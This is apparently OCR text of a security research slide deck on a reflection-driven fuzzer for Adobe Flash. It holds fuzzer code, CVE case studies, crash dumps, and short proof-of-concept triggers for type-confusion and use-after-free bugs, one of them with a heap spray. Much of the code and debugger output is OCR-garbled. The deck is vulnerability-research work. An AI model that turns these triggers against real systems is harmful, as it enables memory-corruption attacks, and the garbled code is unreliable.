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Who are we

e Researchers from Palo Alto Networks.
e Left and right strokes (A H.1HAK)

* There is a kung fu legend named Botong Zhou
who can use one hand to attack/defense the
other hand in several famous martial arts
written by Louis Cha Leung-yung.

* right hand: exploit, vulnerability discovery,
mitigation bypass, etc.

* |[eft hand: anti-exploit, vulnerability
detection, mitigation, etc.




Background

* Anti-UAF mitigations (Isolate heap and deferred free/memory
protector) are making UAF vulnerabilities dying (unexploitable).

TimeLine of Import Flash Exploit Mitigation

Vector Length System
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[1] Exploit Adobe Flash Under the Latest Mitigation — Yuki Chen, HITCON 2016
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Reflection in ECMAScript

ECMAScript |[edit]

The following is an example in ECMAScript, and therefore also applies to JavaScript and ActionScript:

// Without reflection
new Foo () .hello()

PEr— Reflection (computer programming)

// assuming that Foo resides in this From W|k|ped|a the free engydopedia
new this['Foo'] () ['hello'] ()

// or without assumption In computer science, reflection is the ability of a computer program to
new (eval('Foo')) () [Thello®]() examine, introspect, and modify its own structure and behavior at runtime."

// or simply
eval ('"new Foo() .hello()")

// Using ECMAScript 2015's new Reflect class:

Reflect.construct (Foo, [])['hello'] ()



Reflection in ActionScript 2

In general, ASNative (i, j) returns a function reference.
It's like all the Flash functions are stored in a
spreadsheet, and you can access them by rows and
columns with ASNative. A convenient way to work with
ASNative functions is to assign the result to a variable,
and then execute the variable as a function:

t = ASnative(100, 4); // trace function
t("hi"); // output: hi

ASnative(as_x, as_y).apply(this_list[t], [params_list[p1]]);

ASnative(500,0) | method | [Sound].getPan
ASnative(500,1) | method | [Sound].getTransform
ASnative(500,2) | method | [Sound].getVolume
ASnative(500,3) | method | [Sound].setPan
ASnative(500,4) | method | [Sound].setTransform
ASnative(500,5) | method | [Sound].setVolume
ASnative(500,6) | method | [Sound].stop
ASnative(500,7) | method | [Sound].attachSound
ASnative(500,8) | method | [Sound].start
ASnative(600,0) | static | Selection.getBeginIndex
ASnative(600,1) | static | Selection.getEndindex
ASnative(600,2) | static | Selection.getCaretindex
ASnative(600,3) | static | Selection.getFocus
ASnative(600,4) | static | Selection.setFocus
ASnative(600,5) | static | Selection.setSelection



Reflection in ActionScript 3

The flash.utils package contains a variety of package-level functions for timing code execution, retrieving information
about classes and objects, and converting escape characters.

Public Methods
Function Defined By
clearInterval(id:uint):void flash.utils
Cancels a specified setlnterval() call.
clearTimeout(id:uint):void flash.utils
Cancels a specified setTimeout() call.
describeType(value:*): XML flash.utils
Produces an XML object that describes the ActionScript object named as the parameter of the
method.
Public Methods
» Show Inherited Public Methods
Method Defined By
ApplicationDomain(parentDomain:ApplicationDomain = null) ApplicationDomain

Creates a new application domain.

getDefinition(name:String): Object ApplicationDomain
Gets a public definition from the specified application domain.




trace(describeType(Sprite);

<type name="flash.display::Sprite" base="Class" isDynamic="true" isFinal="true" isStatic="true">
<extendsClass type="Class"/>
<extendsClass type="0bject"/>
<accessor name="prototype" access="readonly" type="*" declaredBy="Class"/>
<factory type="flash.display::Sprite">
<extendsClass type="flash.display::DisplayObjectContainer" />

<extendsClass type="0Object"/>
<implementsinterface type="flash.display::|BitmapDrawable"/>

<method name="startDrag" declaredBy="flash.display::Sprite" returnType="void">
<parameter index="1" type="Boolean" optional="true"/>
<parameter index="2" type="flash.geom::Rectangle" optional="true"/>
</method>
<accessor name="accessibilityImplementation" access="readwrite" type="flash.accessibility::AccessibilityImplementation"
declaredBy="flash.display::InteractiveObject">
<metadata name="Inspectable">
<arg key="environment" value="none"/>
</metadata>
</accessor>

</factory>
</type>



Reflection in ActionScript 3

//reflection, get class definition, XML information
var desc:XML = describeType(Sprite); _————
var clazz:Class = Class(domain.getDefinition(Sprite));

//instance a class through reflection
var ins = new clazz(args)

[ e = = e =
v 1
//get properties list 4
var properties:XMLList = //get methods list
desc..accessor.(@access != "readonly") + var methods:XMLList = desc..method;
desc..variable;
//get a random method
//get a random property var methodInfo:XML = methods[random]
propertylnfo:XML = properties[random] var methodName:String = methodInfo.@name;

var propertyName:String = propertylnfo.@name;

//call method
//access property ins[methodName].apply(ins, args);
trace(ins[propertyName]);



nnnnn

graniteds / granite-client-flex-advanced / src / main / flex / org / granite / reflect /

Creating new instances of a class:

var type:Type = type.forName("path.to.MyClass");
var instance:Object = type.constructor.newlnstance(param1, param?2);
// or type.constructor.newlnstanceWithArray([param1, param?2]);

You may also call methods in a similar manner:

var type:Type = type.forName("path.to.MyClass");

var mylnstanceMethod:Method= type.getinstanceMethod("mylnstanceMethod");
mylnstanceMethod.invoke(myClassinstance, param1, param?2);

// or myInstanceMethod.invokeWithArray(myClassinstance, [param1, param2]);

If you want to get or set the value of a given object property, you will use the
following kind of code:

var type:Type = type.forName("path.to.MyClass");

var mylnstanceField:Field= type.getinstanceField("mylnstanceField");
var value:* = mylnstanceField.getValue(myClassinstance);
mylnstanceField.setValue(myClassinstance, "newValue");



How to make a self-evolving testing case




How to make a self-evolving testing case

‘ Template X




velociraptorClasses

ActionScript® 3.0 Reference for the Adobe® Flash® Platform

Home | Hide Packages and Classes List | Packages | Classes | What's New | Index | Appendixes

Filters: Runtimes Flash Player 29.0 and earlier
Products Flex 4.6 and earlier, Flash Pro CS6 and earlier, OSMF 2.0 and earlier, OSMF for Flex 4.0

Hide Filters

Packages

Packages ( ) This section describes the packages that support the Flash Platform (filtered according to the filter settings above).

Top Level

adobe.utils

com.adobe.viewsource -

fl.accessibility package Description

fl.containers Top Level The top level contains the core ActionScript classes and global functions.
fl.controls adobe. utils The adobe.utils package contains functions and classes used by Flash at

fl.controls.dataGridClasses
fl.controls.listClasses
fl.controls.progressBarClasses
fl.core v

Classes ( )

ABRUtils
AbstractEvent
AbstractInvoker
AbstractOperation
AbstractOperation
AbstractService
AbstractTarget
AbstractWebService

com.adobe.viewsource

The com.adobe.viewsource package contains the classes that manage tt

fl.accessibility

The fl.accessibility package contains classes for supporting accessibility i

fl.containers

The fl.containers package contains classes which load content or other ¢

fl.controls

The fl.controls package contains top-level component classes such as Lis

fl.controls.dataGridClasses

The fl.controls.dataGridClasses package contains classes that the DataGi
information.

fl.controls.listClasses

The fl.controls.listClasses package contains classes that list components

fl.controls.progressBarClasses

The fl.controls.progressBarClasses package contains classes that are spe

fl.core

The fl.core package contains classes related to all components.

fl.data

The fl.data package contains classes that deal with data that is associate




velociraptorClasses

if (g_topLevelClasses_flag) public static var tvsdk_mediacore_classes:Array = [
allClasses = allClasses.concat(toplevel classes); //29 "com.adobe.tvsdk.mediacore::ABRControlParameters",

if (g_nativeClasses_flag) "com.adobe.tvsdk.mediacore::AdPolicySelectorType",
allClasses = allClasses.concat(native_classes); //699 "com.adobe.tvsdk.mediacore::BillingMetricsConfiguration",

if (g_cs6Classes_flag) "com.adobe.tvsdk.mediacore::BufferControlParameters",
allClasses = allClasses.concat(cs6_classes); //157 "com.adobe.tvsdk.mediacore::ContentFactory",

if (g_flexMxClasses_flag) "com.adobe.tvsdk.mediacore::CustomAdHandler",
allClasses = allClasses.concat(flex_mx_classes); //1022 "com.adobe.tvsdk.mediacore::CustomAdHandlerClient",

if (g_flexSparkClasses_flag) "com.adobe.tvsdk.mediacore::CustomRangeType",
allClasses = allClasses.concat(flex_spark_classes); //573 "com.adobe.tvsdk.mediacore::DRMAcquireLicenseListener",

if (g_tvsdkMediacoreClasses_flag) "com.adobe.tvsdk.mediacore::DRMAcquireLicenseSettings",
allClasses = allClasses.concat(tvsdk_mediacore_classes); //134 "com.adobe.tvsdk.mediacore::DRMAuthenticatelListener",

if (g_osmfClasses_flag) "com.adobe.tvsdk.mediacore::DRMAuthenticationMethod",
allClasses = allClasses.concat(osmf_classes); //278 "com.adobe.tvsdk.mediacore::DRMErrorListener",

Trace(allClasses.length); //2892 ""com.adobe.tvsdk.mediacore::DRMLicense",



velociraptorGlobal

public static var _setTypeArray:Array = new Array(); //store the class types we choose

//_instanceDictionary = {typeName: instanceValue};
public static var _instanceDictionary:Dictionary = new Dictionary();

//_methodRtnDictionary = {returnTypeName: methodReturnValue}
public static var _methodRtnDictionary:Dictionary = new Dictionary();

//_fieldRtnDictionary = {returnTypeName: fieldReturnValue}
public static var _fieldRtnDictionary:Dictionary = new Dictionary();

//merge instance, methodRtn, fieldRtn dictionary
public static var _mergedAllGlobalValue:Dictionary = new Dictionary();

public static var _eventFunction:Array = new Array();



velociraptorConstructor

public static function classNewlnstance(classType:Type, TypeConfusionFlag:int, integerFlag:Boolean)

{

var ConstantsArray:Array = velociraptorUtils.getConstants(classType, "String");
genValidConstructParam(Parameter(param).type, ConstantsArray, TypeConfusionFlag, integerFlag, ... );
var ins:* = Constructor(classType.constructor).newlinstanceWithArray(parameterArray);

_instanceDictionary[classType.name].push( ins );
_mergedAllGlobalValue[classType.name].push( ins );
addClassToSetTypeArray(classType.name);



velociraptorFields

public static function getClassFields(classType:Type, StaticOnlyFlag:Boolean)

{
getField = Field(getStaticFieldsArray[getFieldsldx]);
var fldRtnValue:* = getField.getValue(null);
_fieldRtnDictionary[getField.type.name].push(fldRtnValue);
_mergedAllGlobalValue[getField.type.name].push(fldRtnValue);
addClassToSetTypeArray(getField.type.name);

}

public static function setClassField(classType:Type, TypeConfusionFlag:int, integerFlag:Boolean)
{
var ConstantsArray:Array = velociraptorUtils.getConstants(classType, "String");
setField = Field(setFieldsArray[setFieldsldx]);

genValidFieldValue(setField, valueArray, ConstantsArray, TypeConfusionFlag, integerFlag, ...);

setField.setValue(ins, value);



velociraptorMethods

public static function setClassMethod(instance:*, insSelector:int, instance2:*, ins2Selector:int, classType:Type,

classType2:Type, setMethod:Method, setMethod2:Method, TypeConfusionFlag:int, integerFlag:Boolean)

{
var ConstantsArray:Array = velociraptorUtils.getConstants(classType, "String");
genValidMethodParam(setMethod, Parameter(param), ConstantsArray, TypeConfusionFlag, integerFlag, ...);
mtdRtnValue = setMethod.invokeWithArray(instance, parameterArray);

_methodRtnDictionary[setMethod.returnType.name].push( mtdRtnValue );
_mergedAllGlobalValue[setMethod.returnType.name].push(mtdRtnValue);
addClassToSetTypeArray(setMethod.returnType.name);



generateValidParams: constants

(= =
loadWithBackgroundManifest (url:Strin containerType:Strin

AVSegmentedSource gﬂ_ ( ° " yP S
userData:Int , backgroundManifest:String ):AVResult

Static variables | static read only HLS:Str‘ingL

function cve_2016_7857():void

{
var _locl :AVSegmentedSource = new AVSegmentedSource();
var _loc2_:AVStream = new AVStream(_locl );
_loc2_.dispose();
_locl1_.loadWithBackgroundManifest("9090","HLS",0,"test2");

}



generateValidParams: constants

SelfConstantsArray = classType.getFields(
147 packages  function(f:Field):Boolean {
return f.isConstant() && f.type.name == constantType; // constantType = "String";

1;

"flash.media" : [ "DOLBY DIGITAL PLUS", "DTS", "DTS EXPRESS",

"DTS HD HIGH RESOLUTION AUDIO", "DTS HD MASTER AUDIO", "DOLBY DIGITAL", "CONSERVATIVE",
"AGGRESSIVE", "MODERATE", "DEFAULT", "LARGE", "BRIGHT GREEN", "DARK BLUE", "GREEN",
"BLUE", "BRIGHT BLUE", "DARK YELLOW", "YELLOW", "MONOSPACE WITH SERIFS", "BRIGHT YELLOW",
"PROPORTIONAL WITH SERIFS", "DARK MAGENTA", "MONOSPACED WITHOUT SERIFS", "MAGENTA",
"PROPORTIONAL WITHOUT SERIFS", "BRIGHT MAGENTA", "CASUAL", "DARK CYAN", "CURSIVE",
"CYAN", "SMALL CAPITALS", "BRIGHT CYAN", "BLACK", "NONE", "GRAY", "RAISED", "WHITE",
"DEPRESSED", "BRIGHT WHITE", "UNIFORM", "DARK RED", "LEFT DROP SHADOW", "RED",
"RIGHT DROP SHADOW", "BRIGHT RED", "SMALL", "DARK GREEN", "MEDIUM", "DATA DESCRIPTION",
"AUDIO PID", "AUDIO DESCRIPTION", "DASH", "AUDIO", "AUDIO LANGUAGE", "HLS", "VIDEO",
"DATA", "VIDEO DESCRIPTION", "HARDWARE", "SOFTWARE", "UNDEFINED", "DTI 708 CAPTIONS",
"DTI WEBVTT CAPTIONS", "DTI 608 CAPTIONS", "LEVEL 4", "LEVEL 1B", "LEVEL 4 1",
"LEVEL 1 1", "LEVEL 4 2", "LEVEL 1 2", "LEVEL 5", "LEVEL 1 3", "LEVEL 5 1", "LEVEL 2",
"LEVEL 2 1", "LEVEL 2 2", "LEVEL 3", "LEVEL 3 1", "LEVEL 3 2", "LEVEL 1", "MAIN",
"BASELINE", "HEADSET", "FULL DUPLEX", "SPEAKER MUTE", "HALF DUPLEX", "OFF", "PCMA",
"NELLYMOSER", "SPEEX", "PCMU", "AVAILABLE", "UNAVAILABLE", "DRIVER TOO OLD",

"WMODE INCOMPATIBLE", "USER DISABLED", "NO ERROR", "SORENSON", "VP6", "H264AVC",
"ACCELERATED" ],



generateValidParams: mutations

* If type_confusion flag on, return random value without type match

* If not, randomly choose the value with type match

* Check _specificDictionary: specific parameter value for a class constructor,
field, method

e Check BasicTypeDictionary: Function, Object, String(including constant),
Number, etc

* Check _mergedAllGlobalValue: _instanceDictionary, _methodRtnDictionary,
_fieldRtnDictionary

* Instance a new class

Generate as complicated and meaningful code as possible

var t:Metadata = PSDK.pSDK.createMetadata();
PSDK.pSDK.createContentResolver(1).resolve(PSDK.pSDK.createOpportunity('te
st",new Placement(),t.clone().getMetadata("test"),t));



templates

public function Go(stage:Stage) : *

{

velociraptorlnit.setClasses(null, 5, allClasses);
velociraptorConstructor.initClasses(0, false);

addClassToSetTypeArray("flash.display::Stage");
addItemToGlobalValueDic(Stage, stage);

velociraptorTemplate_1.prototype.valueOf = valueOf fuzz;

velociraptorFields.setClassesFields(0, false);

velociraptorFields.getClassesFields(false); //only static:false

velociraptorMethods.setClassesMethods(0, false);

velociraptorFields.setClassesFields(0, false);

velociraptorFields.getClassesFields(false); //only static:false

velociraptorMethods.setClassesMethods(O, false);
return;

static function valueOf_fuzz():*

{

I

g CallBackFunctionCalledCnt++;
if (g_CallBackFunctionCalledCnt > 10)
{

velociraptorUtils.ForceGC();

return 4919;
}
velociraptorFields.setClassesFields(0, false);
velociraptorMethods.setClassesMethods(O, false);
velociraptorFields.getClassesFields(false);
velociraptorUtils.ForceGC();
return 4919;

CVE-2015-0349, CVE-2015-5123, CVE-2015-5122
CVE-2016-6981, CVE-2016-7857 ...



Sanitization: Unmanaged heap redirection
a N

GCAlloc::Alloc GCAlloc::Free -
Managed heap

GCAlloc::LargeAlloc GCAlloc::LargeFree

4

@ystem heap with page heap\

HeapAlloc

FixedAlloc::Alloc FixedMalloc::OutOfLineAlloc — —

FixedAlloc:Free FixedMalloc::OutOfLineFree —

AU )




Reproduce: hook trace function to write logs

void FlashTraceCheck(unsigned int argc, int argv)

{ P SR BR0) ZE(V) BEIH)
//1 means there is only one argument of trace function a5+ 1DEcc4Dd[m~a er] 1[)3[3,:53,: [fm-l,:-tlun] watsomn
if (argc == 1) . e g
{ .text IDECCECd[wrapper] IDEDCEfé[functlun] unescapeMul tibvte
. « ctext 102cc3balwrapper] 10302578 [function] escapeMultiByvte
DWORD atom = *(DWORD *)(argv+4); ctext 10%cc3ad[wrapper] 1030cdfc[function] zetTimer
//only deal with the situation that atom is string .text 10Zcc39alwrapper] 1030c¢480[function] getDefinitionByName
if ((atom & 7) == 2) //2 represent string. -- trace(str:String)
{
DWORD strObj = atom & OxFFFFFFFS; AS3:
flag = *((DWORD *)strObj + 5); velociraptorLog.TraceToFile("the seed is [" + seed + "]");

length = *((DWORD *)strObj + 4);
Velociraptor.log:
if (1((flag>>2) & 1)) [+] the seed is [2059582721]

{
pStringBuf = (char *)*((DWORD *)strObj + 2);
WriteTraceFile(pStringBuf, strlen(pStringBuf));



Reproduce: random generator

Mersenne Twister

From Wikipedia, the free encyclopedia

The Mersenne Twister is a pseudorandom number generator (PRNG). It is by far the most widely used general-purpose PRNG.M Its
name derives from the fact that its period length is chosen to be a Mersenne prime.

//one seed, a group fixed random numbers
public static function testRandom():void {
var seed = int(now.time) * int(g_vhash); //g_vhash = MAC_Address
iasrand(seed);
//generate 100 random numbers (<100)
for(var i:int = 0; i < 100; i++) //asrand();
velociraptorLog.Log(asrand()%100);
}

1. Log the seed.
2. When crash happens, use the seed to generate all of the same random numbers and reproduce the crash
sample



Case studies 0: CVE-2016-7860/7861

* Find it by turning on type _confusion_flag in generateValidParams

public function Go(stage:Stage):void

{

var md:* = new Metadata();
//or var md:* = new AdvertisingMetadata();

//public function setObject (key:String, obj:Object)
md.setObject("", 0x1818180);

//crash at 0x0cOcOc00 = 0x1818180 << 3

return;

Command

c==0023

008=%=25
0:000: k
ChildEEF
WARNING:
001bd4574
001bd584
001bd4598
001bd58atd
001bda8=8
001bd%=0
001bda00
001bda3s
001bdb10
001bdb50
001bdc=58
001bdze0
001bddad
001bddad
001bde?0
001bde?0
001bd=24
001bde=0
001bd£f20
001bdfba

nAodL-=nnn

===002h
gbh4008
Fetiddr

Stack unwind information not awvailable.

N01bdaz0
oo7o5271
N0b4a8bhb
0028chac
Q091=2£f4
0914547
091cfde
N0952=848
0091=96c
0091cfaa
0914763
0091cfaa
0091cfaa
0091cfaa
o09i1=7£f1
o09i1=7£f1
00914565
091cfde
nooo48zd
7498fcal

nOoanan<A

gax=0clclc00 =bx=00000000 ecx=0000001a ed=x=03ba4lfl e=i=00000001 edi=0c0c0c00
eip=00829225 e=p=001bd7cc ebp=001bd374 iopl=0

nv up 2i pl nz na pe nc

d==002b e=s=002b f==0053 g==00Zb ef1=00010206

flashplaver 22 sa_debug!IAEModule ITAEKernel_ UnloadModule+0xldfais:

mowr eax, dyvord ptr [eax+8] ds:002b; 0cOcOcO@=77777777

Following frames mavy be wrong.
flashplaver ??_ =sa_debug!IAEModule IAEKernel_UnloadModule+0xldfa3s
Nxzlbdazi

flashplaver ?? =sa_debug!IAEHodule AEModule PutKernel+0xleZl
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+0x4404ch
flashplaver ?? =sa_debug!WinMainSandboxed+0x9df 3d

flashplaver ??_ =sa_debug!IAEHModule IAEKernel_UnloadModule+0=x211£04
flashplaver ??_ =sa_debug!IAEHModule IAEKernel_UnloadModule+0=x213157
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+lxzZ1Zbes
flashplaver ?? =sa_debug!IAEHModule IAEKernel_UnloadHodule+0=x248298
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+0x21257c
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+0xZ12bba
flashplaver ?? =sa_debug!IAEModule IAEKernel_ UnloadModule+0=x213373
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+0xZ12bba
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+0xZ12bba
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+0xZ12bba
flashplaver 22 =sa_debug!IAEHModule IAEKernel_ _UnloadModule+0=x212401
flashplaver 22 =sa_debug!IAEHModule IAEKernel_ _UnloadModule+0=x212401
flashplaver ?? =sa_debug!IAEHModule IAEKernel_UnloadModule+0=x213175
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+lxzZ1Zbes
flashplaver ?? =sa_debug!IAEHodule ITAEKernel UnloadModule+0xlfadid

L ) e B T P B R Ry oy PRSEEER, | R S |



Case studies 1: upgraded DoABC opcode fuzzing

* Old DoABC opcode fuzzing

* Popularin Pre-Hacking-Team era

* Download massive flash samples from internet

* Modify single byte or multiple bytes randomly in DoABC2 Tag
* Heavily rely on what samples you download

* Upgraded DoABC opcode fuzzing
* Log every AS3 code by hooking trace function
* Compile a huge flash with over 100,000 lines AS3 code
* Modify single byte or multiple bytes randomly in DoABC2 Tag



Case studies 1: CVE-2017-2982

3488 flash_text_ TextSnapshot_findText_param 1 = oops ;

3489 flazh_text_ TextSnapshot_findText_param_2 = true;

3490 var ins_int_141:int = ins_flash text_ TextSnapshot_4. findText(flash text TextSnapshot_findText param 0, flash text TextSnapshot_findText param 1, flash_
23491 flash_display_ Sprite_local3DToFlohal _parsm 0 = ins_flash_geom_ Vector3D_5;

3492 var ins_flash_geem_ Point_37:Point = ins_flash display_ Sprite 3. local3DToflobal (flash display  Sprite_local30ToGlobal param 0);
3493 var ins_Boolean 212:Boclean = ins_flash display  Sprite 1. requestSoftEevhoard();

23494 flash_display_ Sprite_w1llTrigger param 0 = TextElement ;

3495 var ins_Boolean 213:Boolean = ins_flash dizplay  Sprite 1. #111Trigger(flazh dizplay Sprite w1llTrigger parem 0);

349§ flazh display_ Sprite_addEventlistener param 0 =

3497 flash display_ Sprite_addEventlistener param 1 = _eventFunction[0];

2498 ins_flash display_ Sprite_3. addFventlistener (flazh_display_ Sprite_sddEventlistener param 0, flach display  Sprite_addEventlistener param 1);
3499 flash_displav_ Sprite_globalTolocal param 0 = ins_flash _geom_ Point_17;

3500 var ins_flash geom_ Point_38:Point = ins_flash display  Sprite 0. globalTolocal (flash display  Sprite globalTolocal param 0);
3501 flash display_ Sprite_w1llTrigger param 0 = oops ;

3502 var ins_Boolean 214:Boolean = ins_flash display_ Sprite 3. #111Trigger (flash dizplay_Sprite w111Trigger param 0);

3503 var ins_Boolean 215:Boclean = ins_flash display  Sprite 1. requestSoftHevhoard();

3504 var ins_flash_geom_ Matriz3D_24:Matriz3D = ins_flash geom_ PerspectiveProjection_ 1. toMatriz3D();

3505 var ins_flazh_geem_ Matrix3D_25:Matrix3D = ins_flazh geom  PerzpectiveProjection 1. toMatrix3D();

3506 var ins_flash_geom_ Matrixz3D_26 Matrixz3D = ins_flash_seom_ PerspectiveProjection_l. taMatrix3D();

3507 var ins_flash geom_ Matriz3D 27 :Matrixz3D = ins_flash _seom  PerspectiveProjection_ 1. toMatriz3D();

3508 var ins_flash_geom_ Matrix3D_28:Matrix3D = ins_flash geom  PerzpectiveProjection 0. toMatriz3Di);

3509 var ins_flazh_geem_ Matriz3D_29:Matrix30 = ins_flash geom_ PerszpectiveProjection 0. toMatriz3D();

3510 var ins_flash geom_ Matriz3D 30 :Matrixz3D = ins_flash seom  PerspectiveProjection 0. taMatrix3D();

3511 var ins_flash_geom_ Matriz3D_31:Matriz3D = ins_flash geom_ PerspectiveProjection 0. toMatriz3D();

3512 var ins_flazh_geem_ Matrix3D_32 :MatrixSD = ins_flazh geom  PerzpectiveProjection 0. toMatrix3D();

3513 var ins_flash_geom_ Matr1x3D_33 Matrixz3D = ins_flash_seom_ PerspectiveProjection_l. taMatrix3D();

3514 flash net URLRequest useRedirectedURL param 0 = null;

3515 flash net  URIRequest_useRedirectedURL_param 1 = true;



Case studies 1: CVE-2017-2982

230nh:
240h:
250h:
260h:
2T70h:
280h:
2590h:
2a0n:
2B0h:
2C0h:
2D0h :
2EQh:
2F0h:
300h:
310n:
320h:
330h:
340nh:
350h:
360h:

QT .
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L TV I T I - IR w T O Ve O

|

=] & o D o
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Lo T = 1

o
0
1
E
2F
g
6
i
£y

=]

= ]

=1

LJE L MAa L8, ..
L&C:\Tsersh\pan\D)
esktophtesth\=src;
;Main.as.Main/%
onstruct/f.void.
Main£0.hrray.fl:
=h.geom. Point. F
nction.Rectangle
.flash.display.5
tage.Di=p

flash.ui.Contex
CHMenu.DisplayOb]
ectContainer.Per
spectiveProjecti
on . com.adobe . tvs
dk.mediacore . .Me
iaResource.Vecto

emplate Results — SWF. bt

¥ struct SWF File

>

S | | | R | R N

struct
struct
struct
struct
struct
struct
struct
struct
struct

struct

struct
struct

SWFHEATER Header
SWFTAG Tag[0]
SWFTAG Taz[1]
SWFTAG Taz[2]
SWFTAG Taz[3]
SWFTAG Taz[4]
SWFTAG Taz[5]
SWFTAG TazlG]
SWFTAG Taz[7]
SWFTAG Taz[d
SWFTAG Taz[9]
SWFTAG Taz[10]

fImTm LA ™ Faa

L

ER et e

Yalue SEtart

0h

0h
FileAttributes 1EhL
Metadata 1Eh
Enablelebuggzer? 1EEh
M4 1FEL
SeriptLimits 200k
SetBacksromndColor 213k
Serial Humber Z18h
FramelLahel 234h
SymbolClass 1E3CEL
ShowFrame 1E3D6hH

Size Color

1E3DAL
15h
&h
100k
10h
12h
&h

&h
1Ch
Th
1E190hL
Eh

zh

1




Case studies 1: CVE-2017-2982 Crash Info

Command

eax=11807900 ebx=08eddbi58 ecxk=0a5b63ef edx=11807900 e=i=0a5be000 =di=00000000
gip=0d815aa8 e=p=059ddZed ebp=059dd2f8 i1opl=0 hv up 21 pl nE na pe nc
c==0023 ===002b d==002b e==002Lb {==0053 efl=00210206

oo

EERRRERE]
pam ) (mpy (M o DR | |

=
w0

=
m

FIEIFIE
AL 1T

=
Hn

SRR
LR [ ] | e [

'_I.
o

059dd2£8
059dd30c
059dd31c
059dd354
059dd3bc
05944500
05944530
059dd560
059dd5d4
059dd608
059dd628
059dde58
059dd678
059dd6%9
059dd6bc
059dd6d8s
05944750
059dd7al
059dd7cc
059dd8b4d
05944928

Flash+0x:85%5aa8
Nd815aa3 8b4ald
n:009: k
# ChildEEF EetiAddr
WARNING: Stack unwind information not awvailable.

0d9214=5
0d921lalc
0d92d1e8
0d833e97
0d93bb7d
bedf240e
bh7cf45d
EeE59alec
EE59ac3d
ER5al1d53
EESalcel
EECOf97f
EE59=0973
bEEE3II9al
EEE3354hb
R
EECag092
76fedz2b3
76fd=88a
7hfdeled
7afddfal

g==002hb

oW

Following frames may be wrong.
Flazh+0x285aa8
Flazsh!Dl1llnregisterServer+0=z22275
Flaszh!Dl1lUnregisterServer+lx227bo
Flazsh!Dl1llnregisterServer+lz2df18
Flash+0=x2a3697
Flazsh!Dl1lUnregisterServer+0x3ic92d

HSHTHL | COlelayout ; HotifyControl+lxfc

MSHTHL | CPaintController: :HotifvyPreFender+0x6d
MSHTHML | CView: :En=ureViewv+lx? 3o

MSHTML | CDoc: : PaintWorker+0=d?

MSHTHML | CDoc: : PaintInPlace+lzic

HMSHTHML I CPaintControl ler: : FunFenderinglLoop+0xh3
MSHTHML | CPaintController: :OnllpdateBeat+0x3f
MSHTHML | CPaintBeat : :OnBeat+0x193

MSHTML I CPaintBeat : . OnFPaintTimer+0x48

MSHTHL | CContainedTimerSink<CPaintBeat:: . OnTimerMethodCall+0x?hb
MSHTHL | GlobalWndOnMethodCall+0x359

MSHTHML | GlobalWndProc+0=f 2

nzeri?! _InternalCallWinProc+0=2b

nzeri? | TzerCal lWinFProcCheckWow+0=x30a

nzeri? | DiszpatchMeszagelorker+0x2 34



agenda

* Who are we

e Background

* Find Flash Vulnerabilities with Reflection

* Exploit Flash Vulnerabilities with HashTables
* Demo

* Summary



An Unreported Use Afte

public static var _g_dic;
public static var spary_arr = [];
public function poc() {
_g dic = new Dictionary();
_g dic["object"] = new Array();
var s = new String();
var mpie = new MediaPlayerltemEvent(8,
var mdO = new Metadata();
md0.setObject(s, mpie);
_g dic["object"].push(md0.getObject(s));
//_g_arr.push(md0.getObject(s));
var getargs:Array = new Array();
getargs.push(s);
_g dic["object"].push(invokeMethod("getObject", md0, getargs))
//Free and Reclaim
for (var j=0; j < 0x1000/2; j++)
spary_arr[j] = "galois"+j;
//USE
_g dic["object"][0].type;

null, null);

r Free Vulnerability

(2318.5228): Access violation — code 0000005 (11! second chance 111}

*#x% ERROE: Svmbol file could not be found., Defaulted to export svymbols for
eax=41949970 ebx=0436a060 ecx=08652460 =dx=0865918c ==i=00000000 =di=04b=4a7
e1p=41949970 e=sp=00dcd048 ebp=049=7840 1opl=0 nv up 21 pl =r na pe n

c==0023 ===002b d==002b e=s=002b {==0053 g==00:Zb efl=0001024
41949970 77 ]
0:000: k

# ChildEEF Eetiddr

WARNING: Frame IP not in anv known nodule.
00 00de=d044 01686fR7 0x41949970
00dcdldz 0168a8fd flashplaver 2?3 _=sa_debug!IAEModule AEModule PutkKernel+0x
00dcd0?0 05ladfed flashplaver 23 _=a_debug! IAEModule AEModule PutKernel+(x

Following frames mavy be wrong.

0:000> ub

D1686fD7

oooooooo ooooooo0 OxSladfed

flashplaver_:3_sa_debug! IAEHodule AEModule PutKEernel+0zZ4e9ch:

Nledefals 3bila Cnp ec® . dword ptr [edx]

Nledetfa? 750f ine flashplaver 23 _sa_debug!IAEModule AEModule
Nle8cfa? 8LE5Z208F Moy ed=.dword ptr [ed=x+8]

Nle8ecfac 8d48ff lea ec®, [eax—1]

Nledefaf 8bO1 oW eax,dword ptr [ecz]

Nle8cfhl 8hL4034 Moy ga®.dword ptr [sax+3dh]
Nla8efhba 52 pu=sh edx

01l686fbs f£d40 call eax

0:000: dc ecx

08652460 01%=d438 00000002 049c7840 00000000 &, ... . .. )
08652470 00000009 00002=00 O019=d438 40000002 ... ... .. a. ... @
08652480 04b99d3f 00000000 OOOOQOQOOZ2 QOQOOOOQ1a ... .. ... .......
08652490 01%=d438 00000002 0497820 0o0o0o0000o0 &, ... ... HE.o.....
08652480 00000009 00002200 O019=d438 40000002 ... ... .. a. ... @
086524b0 04b99d4f 00000000 COOOOQOQO37 Q000001 O .. .. .. o
0865240 01%=d438 80002401 04968438 00000000 &, ... 5. .8...... ..
08e524d0 00000004 0OO0OOSBO00 O019=d438 oo0o0oo0o0o0z2 ... ... .. g,
0:000: do 0497840

049=7840 6f316l167 33397369 00000033 00000000 galoi=s933. ... ...
049c=7850 00000000 OO0OQOQOOO0 OOoO00OQO0OO0 Qooooooo ... ... ...
0497860 ef316le? 33397369 000000234 00000000 galoi=s93d. ... ...
049=7870 00000000 OOOQOQOOOOQ OOOO0OQOOO0 Qooooooo ... ... ...
0497880 Af316167 33397369 00000035 00000000 galoi=935. ... ...
049=7890 00000000 OOQOQOOO0 OOoO00QOOO0 Qooooooo ... ... ...
0d49c=78a0 Af316167 33397369 00000036 00000000 galoi=936..... ..
049=78b0 00000000 OOOQOQOOOOQ OOOOQOQOQOO Qooooooo ... ... ...



. MediaPlayerltemEvent
